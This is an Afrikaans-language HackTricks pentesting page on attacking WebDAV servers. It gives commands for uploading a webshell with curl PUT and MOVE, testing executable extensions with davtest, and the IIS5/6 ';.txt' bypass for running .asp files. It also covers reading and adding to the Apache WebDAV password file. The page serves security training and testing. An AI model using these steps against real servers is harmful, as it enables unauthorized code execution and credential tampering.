WebDav

Reading time: 4 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Wanneer jy met 'n HTTP-server met WebDav geaktiveer werk, is dit moontlik om lĂȘers te manipuleer as jy die regte akkrediteer het, wat gewoonlik deur HTTP Basic Authentication geverifieer word. Om beheer oor so 'n bediener te verkry, behels dikwels die oplaai en uitvoering van 'n webshell.

Toegang tot die WebDav-bediener vereis tipies geldige akkrediteer, met WebDav bruteforce as 'n algemene metode om dit te verkry.

Om beperkings op lĂȘeroplaaie te oorkom, veral diĂ© wat die uitvoering van bediener-kant skripte voorkom, kan jy:

  • Laai lĂȘers met uitvoerbare uitbreidings direk op as dit nie beperk is nie.
  • Hernoem opgelaaide nie-uitvoerbare lĂȘers (soos .txt) na 'n uitvoerbare uitbreiding.
  • Kopieer opgelaaide nie-uitvoerbare lĂȘers, terwyl jy hul uitbreiding verander na een wat uitvoerbaar is.

DavTest

Davtest probeer om verskeie lĂȘers met verskillende uitbreidings op te laai en te kontroleer of die uitbreiding uitgevoer word:

bash
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension

Dit beteken nie dat .txt en .html uitbreidings uitgevoer word nie. Dit beteken dat jy toegang tot hierdie lĂȘers kan kry deur die web.

Cadaver

Jy kan hierdie hulpmiddel gebruik om verbinding te maak met die WebDav bediener en aksies (soos oplaai, skuif of verwyder) handmatig uit te voer.

cadaver <IP>

PUT versoek

curl -T 'shell.txt' 'http://$ip'

MOVE versoek

bash
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'

IIS5/6 WebDav Kwetsbaarheid

Hierdie kwesbaarheid is baie interessant. Die WebDav laat nie toe om lĂȘers met die uitbreiding .asp te laai of te hernoem nie. Maar jy kan dit omseil deur aan die einde van die naam ";.txt" by te voeg en die lĂȘer sal uitgevoer word asof dit 'n .asp-lĂȘer was (jy kan ook ".html" in plaas van ".txt" gebruik, maar MOET nie die ";" vergeet nie).

Dan kan jy jou shell as 'n ".txt" lĂȘer laai en dit kopieer/verskuif na 'n ".asp;.txt" lĂȘer. Deur toegang tot daardie lĂȘer via die webbediener, sal dit uitgevoer word (cadaver sal sĂȘ dat die skuifaksie nie gewerk het nie, maar dit het).

Post geloofsbriewe

As die Webdav 'n Apache-bediener gebruik het, moet jy kyk na die geconfigureerde webwerwe in Apache. Gewoonlik:
_/etc/apache2/sites-enabled/000-default_

Binne dit kan jy iets soos vind:

ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user

Soos jy kan sien, is daar die lĂȘers met die geldige credentials vir die webdav bediener:

/etc/apache2/users.password

Binne hierdie tipe lĂȘers sal jy die gebruikersnaam en 'n hash van die wagwoord vind. Dit is die akrediteerbes wat die webdav bediener gebruik om gebruikers te verifieer.

Jy kan probeer om hulle te breek, of om meer by te voeg as jy om een of ander rede die webdav bediener wil toegang.

bash
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password

Om te kyk of die nuwe geloofsbriewe werk, kan jy doen:

bash
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q

Verwysings

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks